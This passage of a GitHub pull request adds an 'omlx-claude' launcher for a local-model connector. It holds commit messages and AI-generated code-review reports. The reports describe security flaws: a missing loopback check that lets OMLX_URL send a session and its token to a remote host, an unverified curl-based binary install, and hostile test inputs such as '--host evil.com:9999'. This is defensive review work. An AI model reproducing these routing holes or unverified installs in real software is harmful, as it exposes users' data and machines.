Skip to content

Usage 1 gets a command: omlx-claude, shipped with the MCP server as one module - #7

Open
kiki830621 wants to merge 39 commits into
mainfrom
feat/2-unified-omlx-claude-module
Open

Usage 1 gets a command: omlx-claude, shipped with the MCP server as one module#7
kiki830621 wants to merge 39 commits into
mainfrom
feat/2-unified-omlx-claude-module

Conversation

@kiki830621

Copy link
Copy Markdown
Member

Refs #2

Summary

Usage 1 had no command — only bin/claude-local, a file the README asked people to
copy into ~/bin by hand, and which the plugin never shipped. This makes it
omlx-claude: a second executable in the module, sharing one version and one
release with the MCP server, installed onto PATH by a session-start hook.

Per the decision on #2, this is a positioning change as much as a feature. CLAUDE.md
previously said usage 2 was "the actual product", usage 1 "belongs to oMLX", and
bin/claude-local "should be deleted once #2715 and #2716 are fixed — do not grow
features into it". That is rewritten.

Design decisions worth reviewing

It execs omlx launch claude and should keep doing so. oMLX's integration sets
a dozen environment variables carrying knowledge that keeps moving — tier mapping,
the auto-compact denominator, the LSP prefix-cache footgun, the telemetry trade-off.
Reimplementing that here forks it and then lets it rot.

The settings override splits in two, on purpose. Keys we can determine
independently are re-asserted through --settings (a CLI argument, so it outranks
the user's settings.json — the mechanism against jundot/omlx#2715). Keys whose
values depend on which model oMLX ends up serving are reported, not guessed. The
plan said to cover all of them; that turned out to require reimplementing oMLX's
model selection, which is the fork above by another route.

The exit condition runs backwards from the obvious design. "Has upstream fixed
it yet?" needs a fixed-in version constant that does not exist while the bugs are
open, and filling it in later is the act of remembering we were trying to remove.
So UpstreamWorkaround.lastVerifiedOmlxVersion records what we did read against,
and the command speaks up when the installed oMLX is newer.

Sources/OmlxConnectorCore/ is deliberately small. Swift cannot import an
executable target, so a shared library was a precondition for a second command. An
earlier draft moved OmlxClient and ResponseFormatting in too, which would have
meant making twelve types public to serve one caller. Scope reduced; see the
implementation comment on #2 for the full reasoning.

Verification

  • make test43 tests, 0 failures (18 pre-existing, 25 new)
  • Release pipeline with real Developer ID signing and SKIP_NOTARIZE=1 — 6 assets
    at 0.3.0, both binaries hardened-runtime signed, version mirrors gate passes
  • End to end against a live oMLX 0.6.0rc1:
    omlx-claude --model Qwen3.8-27B-4bit -p "Reply with exactly: ok" → the local
    model answers. This is the only way to confirm the exec path and flag forwarding.
  • Unreachable server → named error, exit 1 · shim forwards with deprecation on
    stderr · session-start hook is a no-op at matching version (0.29s, no network)

Known gap filed separately

#6CLAUDE_CODE_DISABLE_1M_CONTEXT turns out to be a no-op for oMLX-served
models; Claude Code reports this itself during a real launch. The #2716 workaround
therefore does not bound the session. Not fixed here: the remedy needs the served
model's context window, which is unavailable when oMLX selects interactively.

Checklist

  • Diagnose
  • Plan (approved via plan mode)
  • Implement (8 commits)
  • Verify (run /idd-verify --pr <N>)
  • Verify-gated: post-verify PASS = ready to merge → after merge, run /idd-close to finalize this issue

Generated by /idd-implement on PR path. Do NOT add a GitHub close trailer — IDD discipline requires manual /idd-close after merge to enforce the checklist gate and closing summary.

…the version (#2)

Swift cannot import an executable target, so the module could not grow a second
command without first having somewhere shared to put what both commands need.

The library is deliberately small — the version and (next) the upstream-workaround
staleness check. An earlier draft moved OmlxClient and ResponseFormatting here too,
which would have meant making twelve types and all their members public purely to
serve one caller. The stated reason for that reach was reusing the loopback refusal
in the launcher, and it does not hold: usage 1 connects to whatever host `omlx
launch` picks, so refusing a non-loopback address in our preflight cannot stop oMLX
from connecting anyway. It could only warn. Not worth the blast radius on shipped
code.

Identity that belongs to one command moves the other way. AppVersion.name,
mcpServerName and helpMessage describe the MCP server alone, so they now live in
Sources/OmlxConnectorMCP/Identity.swift and the shared library stays free of any
single command's vocabulary.

scripts/build-release.sh changes in the same commit on purpose: both of its greps
address Version.swift by path, and moving the file without them would leave a
revision where the release build necessarily fails.

No behaviour change. The existing 18 tests are the acceptance criterion and pass
unchanged, which is also why this is its own commit — the assertions run before
and after are the same ones.

Refs #2
…karound was checked against (#2)

The user's decision was that omlx-claude keeps existing after jundot/omlx#2715 and
#2716 are fixed — it also carries distribution, UX, and a wider settings override
than the launcher's four keys — but that it should say so rather than depend on
someone remembering to re-check.

Doing that the obvious way does not work. "Has upstream fixed it yet?" needs a
fixed-in version constant, and that number does not exist while the bugs are open;
somebody would have to come back and fill it in later, which is precisely the act
of remembering this mechanism exists to remove. So the check runs the other way
round: record the version the workaround was last read against, and speak up when
the installed one is newer. That needs no knowledge of the future.

The comparator is tested directly rather than only through the notice, because
this is where it can quietly go wrong. "0.10.0" sorts before "0.9.0" as text and
after it as a version — getting that backwards would go silent for exactly the
releases most likely to carry the fix, and nothing would ever report the mistake.
Pre-release ordering (0.6.0rc1 precedes 0.6.0) and short forms (0.6 == 0.6.0) are
covered for the same reason.

Unreadable version strings return nil throughout. A version we cannot parse is
never a reason to get in the way of launching.

29 tests pass (18 existing, 11 new).

Refs #2
Usage 1 had no command, only a file the README asked people to copy into ~/bin.
This is that command, as a second executable in the module sharing the version
with the MCP server.

It execs `omlx launch claude` rather than replacing it. oMLX's integration sets
twelve-odd environment variables carrying knowledge that keeps moving — tier
mapping, the auto-compact denominator, the LSP prefix-cache footgun, the
telemetry trade-off. Reimplementing that here would fork it and then let it rot.

The plan said the settings override should cover all of the variables the launcher
sets. It cannot, and pretending otherwise would be the same fork by another route:
half those values are computed by oMLX from the model it ends up serving — the
tier defaults, the context window, the configured API key. So the override splits
in two. Keys we can determine independently are re-asserted through --settings,
which as a CLI argument outranks the user's settings.json and so survives
jundot/omlx#2715. Keys we cannot are named in a warning when the user's own
settings would shadow them. Silence about a key we do not control is worse than
saying so.

API_TIMEOUT_MS is in the first group and is not decoration: the launcher sets it
to 3000000 because a cold model load alone can outlast a normal timeout, and a
settings file that shadows it aborts inference mid-generation.

--host and --port are read but not consumed — they belong to oMLX and never reach
Claude Code. Reading them fixes a bug the shell wrapper had: it always probed
127.0.0.1:8000, so --port 8001 against a server on 8001 reported it as down.

Verified end to end against a live oMLX 0.6.0rc1: `omlx-claude --model
Qwen3.8-27B-4bit -p ...` reaches the local model and answers, which is the only
way to confirm the exec path and flag forwarding. 43 tests pass (29 existing, 14
new).

Refs #2
Six assets now instead of four. The plugin wrapper and the session-start hook both
resolve binaries by exact filename, so a missing asset surfaces as a download
error pointing nowhere useful — hence the generated `gh release create` line
enumerates all of them rather than leaving the new pair to be remembered.

Notarization stays a single submission. Apple notarizes every Mach-O it finds in
the archive, so zipping the dist directory rather than one binary means the second
executable costs no extra round-trip. Worth arranging, since each one is 2-10
minutes and the plan had budgeted for two.

The .mcpb bundle deliberately does not gain the launcher. Claude Desktop has no
terminal for a command to be typed into, so it would be weight nobody could reach.
That asymmetry is a real thing users will hit — someone installing the bundle and
looking for omlx-claude — so it is stated here and in the README rather than left
to be discovered.

Verified by running the pipeline with real Developer ID signing and
SKIP_NOTARIZE=1: both binaries sign and verify with hardened runtime, both
checksums are produced, and the bundle packs with the server alone inside.

Refs #2
The MCP server can update itself lazily — Claude Code runs its wrapper every time
it starts the server. A command the user types has no equivalent moment, so a
SessionStart hook is where the check has to live. It costs nothing when up to
date: the version is read locally and no network call happens unless the pinned
version has moved.

"Read locally" needs care. Keying only off the version marker file meant anyone
who installed by hand or with `make install-omlx-claude` had no marker, so every
single session treated the binary as unknown and hit the GitHub API again. The
hook now falls back to asking the binary its own version, and the make target
writes the marker. Measured after: 0.29s, no network.

The plan said to declare the hook in plugin.json. It does not need declaring —
`hooks/hooks.json` in the plugin root is an auto-discovered default location, and
the manifest's `hooks` field exists only for pointing somewhere else. Checking
that rather than writing it from memory is why the plan listed it as a risk.

The hook also reports when ~/bin is not on PATH. "Installed but unreachable" is
the failure people read as "it didn't install", and the fix is one line they
cannot guess.

Failure degrades rather than interrupts: no release asset yet, or a download that
fails, leaves any existing binary alone and says so. A session-start hook is the
wrong place to break someone's day over a stale copy that still works.

Refs #2
The old name is already in people's ~/bin — the README used to tell them to copy
it there by hand — and scripts may call it. Deleting it outright would break those
silently, so it forwards, says so on stderr, and names the version that removes
it (0.4.0) rather than promising "eventually".

Worth being clear that omlx-claude is not this file renamed. It fixes things this
script got wrong: probing the address --host/--port actually select rather than
always 127.0.0.1:8000, covering the launcher's fixed environment keys instead of
four of them, reporting the model-dependent keys it cannot cover, and speaking up
when oMLX moves past the version the workaround was checked against.

Refs #2
CLAUDE.md said usage 2 was "the actual product", that usage 1 "belongs to oMLX",
and that bin/claude-local "should be deleted once #2715 and #2716 are fixed — do
not grow features into it". That was the honest description of a repo whose usage-1
story was a file the README told you to copy by hand. It is no longer true, and
leaving it would leave a rule nobody follows sitting next to the thing that
disproves it.

What replaces it is not just a positive framing. It records the constraints that
came out of building this, so they survive as reasons rather than as habits:

- omlx-claude execs `omlx launch claude` and should keep doing so. oMLX's
  integration holds a dozen environment variables' worth of knowledge that keeps
  moving; reimplementing it here forks it and then lets it rot.
- The settings override splits in two on purpose, and moving a key from the
  "reported" list to the "overridden" list means reimplementing oMLX's model
  selection — which is that same fork by another route.
- lastVerifiedOmlxVersion is bumped after re-reading oMLX's source, not after
  confirming a launch still works. Bumping it on a successful launch would make the
  notice assert something nobody checked.
- Core stays small. An earlier draft would have made twelve types public to serve
  one caller.

The .mcpb asymmetry is stated in all four documents rather than one. Claude Desktop
has no terminal, so that bundle carries the server alone — and someone who installs
that way and cannot find omlx-claude will conclude the install failed unless they
were told first.

The local-delegation skill gains the case it could not previously answer: material
too large to delegate piece by piece, where the right move is the other entry point
entirely. It names the trade rather than recommending it — the whole session then
runs at the local model's ability, planning included.

Refs #2
All four mirrors together, because build-release.sh fails the build on any
disagreement — and it does that for a reason worth restating: the plugin wrapper
resolves the release tag from plugin.json's version, so a mismatch sends users to a
tag whose asset does not exist and the failure surfaces as a download error
pointing nowhere useful.

The plugin and marketplace descriptions change too. They described delegation
alone, which stopped being the whole story the moment installing the plugin also
put a command on your PATH.

The .mcpb description is left as it is: that bundle really does ship the server
alone, so describing two entry points there would promise something Claude Desktop
users cannot reach.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Verify Report — PR #7

Engine

DEGRADED — 1 of 6 reviewers ran. codex leg only: gpt-5.6-sol, effort xhigh, via
codex-call (pai-ensemble 2.20.0 harness, dispatch model opus).

The four Claude lenses (requirements / logic / security / regression) and the
Devil's Advocate all failed with You've hit your session limit. The harness
fail-closed correctly and refused to emit PASS — it returned six integrity findings
instead of a verdict. Their quota resets 16:30 Asia/Taipei; the codex quota reset
at 12:10 and that leg was then run on the same frozen diff.

Freshness gate (Step 2.9): FROZEN_SHA = fb831ba == PR head at report time. Every
finding below describes the shipped snapshot.

Aggregate

FAIL — 6 blocking, 4 follow-up, 2 informational, on a partial ensemble.
A full re-run after 16:30 may add findings; it cannot remove these.


#2 — Usage 1 needs a command you can just type, not a file you copy

Requirements coverage: the command exists, is on PATH, forwards flags, ships in
one module with one version, and announces staleness. But two of the user's explicit
decisions are not actually met — see F1 and F6.

# Severity Finding Source Action
1 HIGH Launcher crashes (SIGTRAP) on legitimate --host ::1 and on any host that is not a valid URL component codex + reproduced Blocking
2 HIGH Repeated --host/--port: we take the first, argparse takes the last → content can be routed to a host oMLX is not serving codex + reproduced Blocking
3 HIGH OMLX_URL scheme and path are silently destroyed — https://…/api becomes http://… codex + reproduced Blocking
4 HIGH --api-key cannot work: preflight sends no Authorization, and ANTHROPIC_AUTH_TOKEN is overridden unconditionally codex + code-confirmed Blocking
5 HIGH Notarization ZIP is created inside the directory ditto is recursively archiving codex + code-confirmed Blocking
6 HIGH A key known to be a no-op is still shipped and still documented as the #2716 fix codex (adversarial) Blocking
7 MEDIUM -- delimiter not honoured: omlx-claude -- -v prints launcher version instead of forwarding codex + reproduced Follow-up
8 MEDIUM Session-start hook downgrades newer binaries and writes a false version marker after latest-fallback codex + code-confirmed Follow-up
9 MEDIUM Conflict reporting reads only ~/.claude/settings.json, missing project/local/managed scopes codex + code-confirmed Follow-up
10 MEDIUM bin/claude-local shim hard-fails when omlx-claude is absent, breaking existing clone workflows codex Follow-up
11 LOW 0.6.0b2 sorts newer than 0.6.0rc1; parse("0.6") != parse("0.6.0") contradicts its own doc comment codex + code-confirmed Follow-up
12 INFO MCP extraction is clean — no runtime regression; deviations (a)(c)(d) judged justified codex

The three I reproduced live, with evidence

F1 — crash on legitimate input. Sources/OmlxClaude/main.swift:73 force-unwraps
URL(string: "\(probeURL)/v1/models")!.

$ omlx-claude --host ::1      → rc=133 (SIGTRAP), no output at all
$ omlx-claude --host 'a b c'  → rc=133
$ omlx-claude --host 'a|b'    → rc=133

::1 is not a malformed edge case. This repo's own OmlxConfig.isLoopback
explicitly accepts ::1 as loopback
(OmlxClient.swift:33) — so one half of the
module treats it as the canonical IPv6 loopback while the other half dies on it. The
launcher never brackets IPv6 hosts when rebuilding the URL, producing http://::1:8000.

F2 — first-occurrence wins, argparse takes the last.

$ omlx-claude --host gateway.example --host 127.0.0.1
omlx-claude: No oMLX server responding at http://gateway.example:8000

argparse's store action uses the last occurrence, so oMLX would serve
127.0.0.1 while we probe — and, far worse, writegateway.example into
ANTHROPIC_BASE_URL through --settings, which is the highest-precedence channel we
have. A shell alias carrying --host plus a user override is enough to trigger it.
The direction of the failure is the one this project exists to prevent: content
leaves for a host the user did not select. ProbeTarget.value(of:in:) also returns
nil the moment the first occurrence is followed by another flag, abandoning valid
later occurrences.

F3 — OMLX_URL downgraded.

$ OMLX_URL="https://server.example:8443/api" omlx-claude
omlx-claude: No oMLX server responding at http://server.example:8443

ProbeTarget.resolve extracts only host and port, then rebuilds
"http://\(host):\(port)" (ProbeTarget.swift:38). TLS is dropped and the path is
lost. The shell wrapper this replaces used OMLX_URL as a whole base URL, so this is
a regression introduced by this PR, and it feeds both the preflight and the
high-precedence settings override.

The two the diff-and-tests could not have caught

F4 — --api-key is documented but unusable. Help.swift lists --api-key as the
oMLX server API key. The preflight at main.swift:73 sends no Authorization header
(there is no setValue/addValue anywhere in the file), so an authenticated server
answers 401 and omlx-claude --api-key secret can never reach omlx launch. Worse,
LaunchSettings then overrides ANTHROPIC_AUTH_TOKEN with OMLX_TOKEN ?? "omlx"
unconditionally — contradicting this PR's own doc comment, which lists the auth
token among the values oMLX computes and we therefore must not guess. Deviation (b)
is not implemented as documented.

F5 — the notarization archive is built inside what it archives.

ZIP="$DIST_DIR/notarize.zip"      # scripts/build-release.sh:110
ditto -c -k "$DIST_DIR" "$ZIP"    # …recursively archiving $DIST_DIR

Depending on ditto's traversal order this can include the growing archive in
itself, or produce a corrupt ZIP. My own verification structurally could not catch
this
: I ran the pipeline with SKIP_NOTARIZE=1, and that is the one branch the flag
skips. The single-submission design (deviation (d)) is sound; the archive location is
the defect.

F6 — the adversarial finding, and I accept it

I asked the reviewer to press on whether shipping CLAUDE_CODE_DISABLE_1M_CONTEXT
while knowing it is a no-op — and deferring that to #6 — was defensible. It argued not,
because this PR is the thing creating and distributing the workaround, and it
ships README text, Help.swift text and UpstreamWorkaround prose all presenting the
key as the #2716 fix, plus a test that pins its presence as expected behaviour.

The mechanism is inert, so setting it harms nothing. The false claim is the defect.
A user reading the shipped documentation concludes the context window is bounded when
it is not. That claim was introduced by this PR and should not leave in it. Removing
the key is optional; removing the claim is not.

Fresh corroboration from a live run during this verify — Claude Code, unprompted:

"X" is not a model this version of Claude Code recognizes, so auto-compact will keep this session within 200k tokens (the context window it assumes).

Where I disagree with the reviewer

Finding 10's second half claimed -p "… --help …" would also mis-trigger. It does
not — contains compares whole argv elements, and I confirmed such an invocation
launches normally. Only the -- delimiter case is real, so that finding is recorded
at its surviving scope.

Process Gaps

  • requirements / logic / security / regression / devils-advocate: did not run.
    Session limit, resets 16:30 Asia/Taipei. This is a 4-of-6 absent ensemble, not a
    clean single-reviewer pass. In particular nothing adversarially challenged the codex
    findings above, and no lens independently checked requirements coverage.
  • Codex reviewed the frozen diff only; it has no repository history and did not run
    the test suite.

What this verdict does and does not establish

It establishes that six blocking defects exist. It does not establish that there
are only six. The full ensemble should be re-run after 16:30 on the fixed diff — not
to re-confirm these, but to cover the four lenses that never looked.

Verify ran degraded — four Claude lenses and the devil's advocate hit the session
limit, so only the cross-model leg looked at this. It was enough to find six real
defects, three of which I then reproduced against the built binary.

**Crash on legitimate input.** The preflight force-unwrapped `URL(string:)`, so
`--host ::1` died with SIGTRAP and no message. `::1` is not exotic: this repo's own
OmlxConfig.isLoopback accepts it as the canonical IPv6 loopback, so one half of the
module treated it as valid while the other half died on it. Addresses are now built
through URLComponents, IPv6 literals are bracketed, and anything unusable is reported.

**Flag precedence was inverted.** ProbeTarget took the first `--host`/`--port`;
argparse takes the last. A shell alias carrying --host plus a user override was
enough to make us probe — and, far worse, write into ANTHROPIC_BASE_URL — a host oMLX
was not serving. That channel is the highest-precedence one we have, so the failure
direction was content leaving for somewhere the user did not choose. Now last wins,
valueless occurrences no longer abandon later valid ones, nothing past `--` is read,
and `--port -1` binds and is refused on range rather than silently falling back to
8000 (argparse's own negative-number rule).

**OMLX_URL was being destroyed.** Only host and port were kept and `http://host:port`
rebuilt from scratch, so `https://server:8443/api` came back as `http://server:8443` —
TLS downgraded, path lost — and that result fed both the preflight and the override.
Flags now override only the parts they name.

**--api-key was documented but unusable.** The preflight sent no Authorization, so an
authenticated server answered 401 and the flag could never reach `omlx launch`. Worse,
ANTHROPIC_AUTH_TOKEN was overridden with `OMLX_TOKEN ?? "omlx"` unconditionally —
contradicting this file's own rule about never guessing values oMLX computes. The
credential is now resolved from --api-key then OMLX_TOKEN, sent on the preflight, and
when neither is given it is not asserted at all but reported as a conflict instead.
401 is also no longer described as "server not responding", which sent people to start
a server that was already running.

**The notarization archive was built inside what it archives.** `ditto -c -k
"$DIST_DIR" "$DIST_DIR/notarize.zip"` — demonstrated: the resulting archive contains a
zero-byte `notarize.zip` entry and its resource fork. It survived by timing, not by
design. The archive now goes to a temp directory and is checked for both binaries
before an Apple round-trip is spent on it. My own verification could not have caught
this: SKIP_NOTARIZE=1 is precisely the flag that skips this branch.

**A false claim, which is the one that matters.** CLAUDE_CODE_DISABLE_1M_CONTEXT was
shipped with README, help text and source comments all calling it the #2716 fix. It is
inert for oMLX-served model ids — Claude Code says so at startup, and that warning was
in my own end-to-end output, unread. The key stays (correct if an id is ever
recognized, harmless otherwise); every claim that it fixes #2716 is gone, replaced by a
statement of what it does not do. Tracked in #6.

Also widened settings-conflict detection past the global settings.json to project and
local scopes, since those shadow inherited environment the same way — the promise to
report what we cannot override was otherwise only half kept.

60 tests pass (43 before). The three reproduced defects were re-run against the
rebuilt binary: ::1 now resolves to http://[::1]:8000, repeated --host takes the last,
and OMLX_URL keeps its scheme and path under a --port override.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Blocking findings addressed — 2ff9f95

All six from the verify report. Three were reproduced against the built binary before and after.

# Finding Fix Evidence
1 Force-unwrap crash URLComponents + IPv6 bracketing + nil on unusable input --host ::1 went from rc=133 SIGTRAP, zero outputhttp://[::1]:8000
2 First-occurrence wins last wins; valueless occurrence no longer abandons later ones; stops at --; --port -1 binds then refused on range --host gateway --host nonexistent.invalid now probes nonexistent.invalid
3 OMLX_URL scheme/path destroyed flags override only what they name https://server.example:8443/api survives; --port 9000https://server.example:9000/api
4 --api-key unusable resolved from --api-keyOMLX_TOKEN; sent on preflight; not asserted when unknown; 401 gets its own message code + tests
5 Notarize ZIP inside its own source temp dir + both-binaries check before the Apple round-trip demonstrated below
6 False #2716 claim claim removed from README / help / source; key kept and explicitly labelled a no-op for oMLX ids shipped help text verified

Finding 5, demonstrated

The old command produced an archive containing itself:

$ ditto -c -k dist dist/notarize.zip && unzip -l dist/notarize.zip
        0  notarize.zip        ← the archive, captured while empty
      163  ._notarize.zip
  6291456  binA
  6291456  binB

It survived by timing, not by design. My own verification could not have caught itSKIP_NOTARIZE=1 is exactly the branch that skips it.

Finding 6 — where I was wrong

The end-to-end run during implementation already contained Claude Code's own warning that the key does nothing for oMLX-served model ids. It was in my output and I did not read it, then shipped README, help text and source comments all calling it the #2716 fix. The mechanism was harmless; the claim was the defect, and it was introduced by this PR. It is gone. The key stays — correct if an id is ever recognized — labelled as what it is. #6 keeps tracking the real gap.

Also fixed (was follow-up)

Settings-conflict detection now covers project and .local scopes, not just the global settings.json. The promise to report what we cannot override was otherwise only half kept.

Verification

  • make test60 tests, 0 failures (43 before; 17 new pin the defects above)
  • Release pipeline with real signing, SKIP_NOTARIZE=1 — 6 assets, no notarize.zip left in dist/
  • Three defects re-run live against the rebuilt binary

Still open

The four Claude lenses and the devil's advocate have still never looked at this PR (session limit, resets 16:30 +08:00). These six were found by one reviewer out of six. Full ensemble re-run on this diff is the remaining gate.

@kiki830621

Copy link
Copy Markdown
Member Author

Verify Report — PR #7 (round 2, full ensemble)

Engine

pai-ensemble 2.20.0 (canonical) — 4 IDD lenses + Devil's Advocate + Codex (gpt-5.6-sol, xhigh),
dispatch model opus. 6/6 reviewers completed, 0 integrity failures. 40 minutes,
194 tool calls, 1.17M subagent tokens.

Round 1 ran with 1 of 6 (session limit). This is the first time four lenses and the
adversarial pass have looked at this PR at all.

Freshness gate: FROZEN_SHA = 2ff9f95 == PR head. 2156-line diff.

Aggregate

FAIL — 80 findings: 1 CRITICAL, 19 HIGH, 32 MEDIUM, 19 LOW, 9 INFO.

Round 1's six fixes were re-examined. Codex's independent verdict: F1 / F3 / F5
substantively fixed; F2 / F4 / F6 only partially.
Two of the six are worse than
partial — see "Fixes that did not hold" below.


The finding that matters most — and it is mine

omlx-claude has no loopback gate. Four lenses found it independently.

Lens File
codex ProbeTarget.swift:50
requirements ProbeTarget.swift:38
logic ProbeTarget.swift:41
security ProbeTarget.swift:41

Four reviewers, no shared context, same defect. That is the strongest signal this
ensemble can produce.

CLAUDE.md states the constraint in its own words:

OmlxConfig.resolveBaseURL refuses non-loopback hosts unless OMLX_ALLOW_REMOTE=1.
This is the one invariant that cannot regress: the entire premise is that content
stays on the machine.

grep -rn 'isLoopback|ALLOW_REMOTE' Sources/OmlxClaude/ returns one line — a comment.
There is no enforcement. This PR added a second entry point that sits entirely outside
the invariant, and reproduced live:

$ OMLX_URL="https://external.example/api" omlx-claude
omlx-claude: No oMLX server responding at https://external.example/api

Had that endpoint answered 2xx, https://external.example/api would have been written
into ANTHROPIC_BASE_URL through --settings — the highest-precedence channel — and the
entire session's content, plus the bearer token, would have gone there. No warning, no
OMLX_ALLOW_REMOTE=1 opt-in, nothing.

Worse: round 2's own test testOmlxUrlKeepsItsSchemeAndPath pins accepting
https://server.example:8443/api as expected behaviour. The F3 fix did not merely leave
the hole open; it wrote a test asserting the hole is correct. README and
local-delegation/SKILL.md meanwhile tell users that usage 1 means nothing reaches a
cloud API.

This is a regression of the project's stated core premise, introduced by this PR, and
I did not catch it in either the implementation or the round-1 fixes.


Fixes that did not hold

The Devil's Advocate was asked whether the round-1 evidence established the fixes or
only that the symptom changed. On two of six, it established the latter — with
executable proof, not argument.

F1's IPv6 fix opened a new hole

The bracket normalization triggers on "host contains a colon", not on "host is an
IPv6 literal":

if let host = components.host, host.contains(":") {
    let bare = host.trimmingCharacters(in: CharacterSet(charactersIn: "[]"))
    components.host = "[\(bare)]"
}

Reproduced live:

$ omlx-claude --host evil.com:9999
omlx-claude: No oMLX server responding at http://[evil.com:9999]:8000
$ omlx-claude --host x:y
omlx-claude: No oMLX server responding at http://[x:y]:8000

guard let baseURL = … else { fail(.unusableAddress) } is the only safety valve on this
path and it never fires for these. The error text I wrote for it — "--host must be a
host name or IP" — is a line that cannot be printed. The user is instead told to
open -a oMLX, which has nothing to do with the problem.

The DA's sharpest point is about my tests: LauncherTests.swift:104-109 pins exactly two
unusable hosts, "a b c" and "a|b"both without colons, so both miss the branch
the fix added. ::1 genuinely stopped crashing; the property "unparseable input returns
nil" was never established, only asserted by tests that avoid the new code.

F2's flag-scan fix does not cover the abbreviations oMLX accepts

The DA rebuilt oMLX's parser from cli.py:1418 and ran it:

['--po','8001']            -> port=8001          (oMLX accepts)
['--ho','gateway.internal'] -> host=gateway.internal
['--ap','k1']               -> api_key='k1'

then ran the same inputs through ProbeTarget.resolve, which ignores all three. My own
comment dismissed this as costing "a preflight against the wrong port — an error message,
not silent misbehavior." Both halves are false, and the DA gave the scenario:

A user with OMLX_URL=https://gw.corp:8443 exported for usage 2 wants to pin to local
today, so types omlx-claude --ho 127.0.0.1. oMLX honours it. ProbeTarget does not see
it, resolves https://gw.corp:8443, and writes that into ANTHROPIC_BASE_URL — which
outranks the environment oMLX set. The whole session goes to the remote gateway while
the user just explicitly typed localhost
. The preflight cannot catch it: the address it
probes is the live remote one.

That is the exact failure this type's doc comment says it exists to prevent.


CRITICAL

plugin/hooks/session-start.sh:75 — installs an unverified native binary.
curl -sLchmod +xmv into ~/bin, with no checksum, no signature, no
spctl/codesign check, and no --fail. Codex noted the asymmetry: the release
publishes .sha256 for both binaries and the hook ignores them. Without --fail, an
HTTP error page is installed over a working binary. On the latest-fallback path the hook
writes the pinned version into the marker after downloading a different version, so
every later session believes it is in sync.


All HIGH findings

# File Finding Lens
1 session-start.sh:75 CRITICAL — unverified binary install (above) codex
2 ProbeTarget.swift:38-50 No loopback gate on usage 1 (above) codex + requirements + logic + security
3 ProbeTarget.swift:68 IPv6 bracket fix admits any colon-bearing garbage (above) devils-advocate
4 ProbeTarget.swift:99 argparse abbreviations silently misroute (above) codex + devils-advocate
5 ProbeTarget.swift:17 Hardcoded 127.0.0.1:8000 default diverges from oMLX's settings-derived default, then asserted at highest precedence logic
6 ProbeTarget.swift:50 OMLX_URL without an explicit scheme is now silently discarded — confirmed live; bin/claude-local routes existing users straight into it regression
7 main.swift:94 .unknown + 401 hard-fails a launch that would have worked — oMLX would have supplied its own configured key. Help.swift claims "oMLX's own configured key is left in force"; it is not, we abort first codex
8 main.swift:130 Auth token copied into argv. Not merely "secrets on a command line": a user who deliberately chose OMLX_TOKEN (unreadable by other users' ps on macOS) has it downgraded to ps-visible without asking codex
9 main.swift:21 --help/--version still intercepted after --, so passthrough is not what the PR claims codex
10 main.swift:57 A slow or failing omlx --version now blocks the launch entirely and reports a false cause — a gate the old wrapper never had regression
11 UpstreamWorkaround.swift:45 Unparseable version → silence. If omlx --version ever prints omlx 0.7.0, the mechanism disables itself exactly when upstream changed — the opposite of the recorded "must announce itself" decision. testUnparseableVersionIsSilent pins the wrong behaviour codex
12 LaunchSettings.swift:53 CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC misclassified: omlx-claude --cross-session silently defeats the feature it requests, and our override bypasses oMLX's own detector so even upstream's warning never fires requirements + devils-advocate
13 build-release.sh:42 Version grep matches the first line including comments; JSON check only greps for the string anywhere in the file, not the version key. "Fails the build if any disagrees" is not literally true codex
14 build-release.sh:71 Manifest-name check is [ -n "$MANIFEST_NAME" ] && [ … != … ] — a missing, empty, or unparseable name skips the check entirely. It fails open precisely when it is needed codex
15 Makefile:27 make release-signed — the only documented release command — calls ./scripts/build-mcpb.sh, which does not exist. Confirmed live: No such file or directory, exit 127. Pre-existing, but this PR rewrote the release docs around it and I ran the script directly, which masked it regression

Everything else

32 MEDIUM, 19 LOW, 9 INFO. Recurring themes:

  • Settings scopes still incomplete. Enterprise-managed settings outrank even
    --settings, and are not scanned. The round-2 "merges project and .local scopes" fix
    only works when launched from the repo root (4 lenses).
  • --settings collision. A user's own --settings is forwarded after ours and
    silently wins, defeating the whole #2715 workaround. Untested.
  • OMLX_URL userinfo/query survive into ANTHROPIC_BASE_URL; embedded credentials
    are echoed verbatim in error messages.
  • --host 0.0.0.0 / :: — oMLX rewrites wildcard binds to 127.0.0.1 before
    connecting; we take them literally, at higher precedence.
  • OMLX_TOKEN=" " is treated as a known credential: writes garbage at top
    precedence and suppresses the warning that should have fired.
  • OmlxVersion.parse returns nil for standard semver pre-release (0.7.0-rc1),
    silently disabling staleness.
  • Doc claims that do not hold: "every one of those six assets is matched downstream by
    exact filename" is false for four of six; the claude-local shim sits where the users
    D3 was written for cannot reach it; a fifth undocumented deviation (plan R4 named
    mcpb/manifest.json as a place to state the usage-2-only asymmetry — it does not).
  • Test coverage gaps: no test touches the preflight, the -- delimiter, or the final
    exec argv, so several claimed regressions reproduce with the suite fully green.

Full per-finding detail is in the workflow transcript.


Process

No gaps. All six reviewers completed. The harness flagged instruction-shaped patterns in
the diff (the CLAUDE.md / SKILL.md prose is addressed to AI readers) and neutralized
them; both codex and the logic lens independently confirmed no prompt injection.

Verdict

Do not merge. The loopback regression alone disqualifies it: this project's entire
premise is that content stays on the machine, and this PR ships an entry point that will
send a whole session anywhere OMLX_URL points, with a test asserting that is correct.

… did not hold (#2)

Round 2 of verify ran the full six-reviewer ensemble for the first time (round 1 had
managed one of six before hitting a session limit). It returned 80 findings, and the
first of them is mine and is the worst kind: a regression of the property this project
exists for.

**omlx-claude had no loopback gate.** Four lenses found it independently, with no
shared context. CLAUDE.md states the constraint in its own words — "the one invariant
that cannot regress: the entire premise is that content stays on the machine" — and a
grep for the policy over Sources/OmlxClaude/ returned exactly one line, a comment.
OMLX_URL=https://external.example/api resolved fine and would have been asserted into
ANTHROPIC_BASE_URL, which outranks everything, taking the whole session and the bearer
token with it.

Worse than the omission: round 1's F3 fix wrote a test, testOmlxUrlKeepsItsSchemeAndPath,
that pinned accepting a remote URL as correct behavior. The hole was not merely left
open, it was asserted to be the specification.

The policy moves to OmlxConnectorCore as LoopbackPolicy and both entry points now share
one implementation. This is the shape D1 was reaching for and got wrong: keeping Core
minimal was right, but "minimal" should never have excluded the invariant that both
commands depend on. Two copies of an invariant is one copy plus a future divergence.
OmlxConfig.isLoopback stays as a forwarder so the existing MCP suite proves the
forwarding is faithful.

**Two round-1 fixes changed the symptom without establishing the property.** The devil's
advocate was asked to press on exactly that and proved both executably rather than by
argument:

